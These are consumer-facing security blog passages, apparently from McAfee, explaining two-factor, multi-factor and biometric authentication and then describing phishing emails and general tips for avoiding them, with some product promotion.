The rationale behind this method is straightforward: even if a hacker manages to secure a user’s password, they would still require the unique code to gain access. However, it is important to note that this method is not completely foolproof. Crafty hackers able to intercept the unique code or create duplicate websites to steal credentials can still bypass this security measure. Despite these vulnerabilities, the complexities involved in these hacking methods make two-factor authentication considerably safer than its single-factor counterpart.
Also worth mentioning is “true” two-factor authentication, which involves giving users a unique device, such as a security token, that generates a unique code for the user. This code, which changes at set intervals, is matched with a profile in a database, making guessing impossible.
Building upon the concepts of two-factor authentication, multi-factor authentication introduces even more factors for user verification. These factors usually include something that the user possesses and something unique to their physical being, such as a retina or fingerprint scan. Location and time of day can also serve as additional authentication factors.
While the notion of multi-factor authentication may seem like a concept from a science fiction movie, it is already being used extensively, especially by financial institutions. Advancements in camera technology have enabled the implementation of facial recognition as a secure method of recognition, adding another factor to the multi-factor authentication process.
→ Dig Deeper: Banks are Using Biometric Measures to Protect Against Fraud
With the potential vulnerabilities associated with single-factor authentication, implementing two-factor or multi-factor authentication for sensitive online accounts becomes a necessity. These added layers of security help to safeguard your digital information from unscrupulous elements. Two-factor authentication utilizes a password and an extra verification layer, such as a unique code sent to your mobile device, to ensure that you’re indeed the account holder. With multi-factor authentication, additional verification elements are added, such as biometric data or your physical location.
So how do you implement these forms of authentication? Most online service providers now offer two-factor authentication as an option in their security settings. Once you’ve opted for this extra level of security, you’ll be required to input a unique code sent to your mobile device each time you attempt to log in. For multi-factor authentication, the process might require additional steps, such as providing biometric data like facial recognition or fingerprints. However, these extra steps are a small inconvenience compared to the potential risk of your sensitive information being compromised.
→ Dig Deeper: Make a Hacker’s Job Harder with Two-step Verification
Biometric authentication is a subset of multi-factor authentication that relies on unique physical or behavioral traits for verification. Biometric authentication methods include facial recognition, fingerprints, iris scans, voice recognition, and even your typing pattern. These methods are gradually becoming mainstream, with smartphone manufacturers leading the way in implementing fingerprint scanners and facial recognition technology into their devices. Biometric authentication’s edge over traditional passwords lies in its uniqueness; while passwords can be guessed or stolen, biometric traits are unique to each individual.
As with all forms of technology, biometric authentication also has its drawbacks. For instance, it may not always be accurate, as facial features or fingerprints may change over time due to aging or injury. Also, there are valid concerns about privacy and the potential misuse of biometric data if it falls into the wrong hands. However, with proper safeguards and data encryption in place, biometric authentication can be a secure and efficient way to protect online accounts from unauthorized access.
McAfee Pro Tip: Biometric authentication definitely has its strengths and weaknesses, so it’s important to choose the best combination of authentication and security software for your devices and accounts. Learn more about the opportunities and vulnerabilities of biometric authentication.
As our digital footprint grows, so does the need for secure authentication methods. Single-factor authentication, although simple and convenient, is no longer sufficient to protect sensitive online information. Two-factor and multi-factor authentication provide an additional layer of security, significantly reducing the risk of unauthorized access.
Additionally, advancements in biometric technology have introduced a new realm of secure verification methods unique to each individual. Remember, the goal is not to eliminate all risks but to reduce them to a level that’s acceptable and manageable. When setting up your online accounts, always opt for the highest level of security available, whether it’s two-factor, multi-factor, or biometric authentication. Take full advantage of these methods, and ensure you’re doing everything you can to safeguard your digital information.

As we continue to evolve technologically, so do cybercriminals in their never-ending quest to exploit vulnerabilities in our digital lives. The previous years have clearly shown that cybercriminals are increasingly leveraging new technologies and trends to trick their victims. As we move into another year, it’s crucial to be aware of the tried and tested tactics these cyber criminals use and stay prepared against potential threats.
In this article, we delve deeper into one such tactic that remains a favorite among cybercriminals – ‘phishing‘ via emails. We focus on the trickiest and most dangerous email subject lines that have been commonly used in worldwide phishing emails. Recognizing these ‘ baits’ can be your first step towards safeguarding your identity and valuables against cybercriminals. Beware, there are plenty of these ‘phishes’ in the sea, and it helps to be on your guard at all times.
Sending email messages filled with malicious links or infectious attachments remains a dominant strategy among cybercriminals. This strategy, commonly known as ‘phishing,’ is often disguised in a variety of forms. The term ‘Phishing’ is derived from the word ‘Fishing,’ and just like fishing, where bait is thrown in the hope that a fish will bite, phishing is a cyber trick where an email is the bait, and the unsuspecting user is the fish.
Today’s most common phishing scams found by McAfeerevealed that cybercriminals tend to use certain email subject lines more often. Although this does not mean that emails with other subject lines are not harmful, being aware of the most commonly used ones can give you an edge. The key takeaway here is to be vigilant and alert when it comes to all kinds of suspicious emails, not just those with specific subject lines.
Let’s take a look at the top five most commonly used subject lines in worldwide phishing emails. The list will give you an understanding of the varied strategies employed by cybercriminals. The strategies range from social networking invitations to ‘returned mail’ error messages and phony bank notifications. Be aware that these are just the tip of the iceberg and cyber criminals are continuously coming up with new and improved tactics to gain access to your sensitive data.
In the past, cybercriminals used to cast big, untargeted nets in the hopes of trapping as many victims as possible.

The fact that phishing scams are still on the rise amplifies the importance of proactive measures to protect our digital assets. As technology advances, these threats continue to evolve, making ongoing vigilance, education, and caution in our online engagements critical in combating the increasing prevalence of such scams.
Phishing emails, often with a guise of urgency or familiarity, cunningly aim to deceive recipients into revealing sensitive information, most commonly, personal identities and financial credentials. These malicious messages are designed to prey on our trust and curiosity, making it crucial to scrutinize each email carefully. Cybercriminals behind phishing schemes are after the keys to both your digital identity and your wallet. They may seek login credentials, credit card details, social security numbers, and other sensitive data, which can lead to identity theft, financial loss, and even broader security breaches. It is essential to exercise caution and rely on best practices for email and internet security to thwart their efforts and safeguard your online presence.
While phishing emails come in a variety of forms, their ultimate goal remains the same: to steal your identity and money. As we move into the New Year, it’s prudent to add a few safety measures to your resolutions list. Protecting yourself from the increasingly sophisticated and customized phishing attacks requires more than awareness.
With an understanding of phishing techniques, the next step is learning how to protect yourself from falling prey to them. Ultimately, you are the first line of defense. If you’re vigilant, you can prevent cyber criminals from stealing your sensitive information. The following are some tips that can help you safeguard your digital life and assets:
First, avoid opening attachments or clicking on links from unknown senders. This is the primary method that cybercriminals use to install malware on your device. If you don’t recognize the sender of an email, or if something seems suspicious, don’t download the attachment or click on the link. Even if you do know the sender, be cautious if the email message seems odd or unexpected. Cybercriminals often hack into email accounts to send malicious links to the victim’s contacts.
Another important practice is to think twice before sharing personal information. If you’re asked for your name, address, banking information, password, or any other sensitive data on a website you accessed from an email, don’t supply this information, as it is likely a phishing attempt. In case of any doubts regarding the authenticity of a request for your information, contact the company directly using a phone number or web address you know to be correct.
Even with the most diligent practices, it’s still possible to fall victim to phishing attacks. Hence, having security nets in place is crucial. Start by being careful on social networks. Cybercriminals often hack into social media accounts and send out phishing links as the account owner. Even if a message appears to come from a friend, be cautious if it looks suspicious, especially if it contains only a link and no text.
Installing comprehensive security software is another essential step. McAfee LiveSafe service, for instance, offers full protection against malware and viruses on multiple devices. This software can be a lifeline if you happen to click a malicious link or download a hazardous attachment from an email.
It’s also a smart idea to regularly update your devices. Updates often contain patches for security vulnerabilities that have been discovered since the last iteration of the software. Cybercriminals are always looking for vulnerabilities to exploit, so keeping your software up-to-date is one of the most effective ways to protect yourself.
McAfee Pro Tip: Always update both your software and devices. First and foremost, software updates often include patches and fixes for vulnerabilities and weaknesses that cybercriminals can exploit. By staying up-to-date, you ensure that you have the latest defenses against evolving threats. Learn more about the importance of software updates.
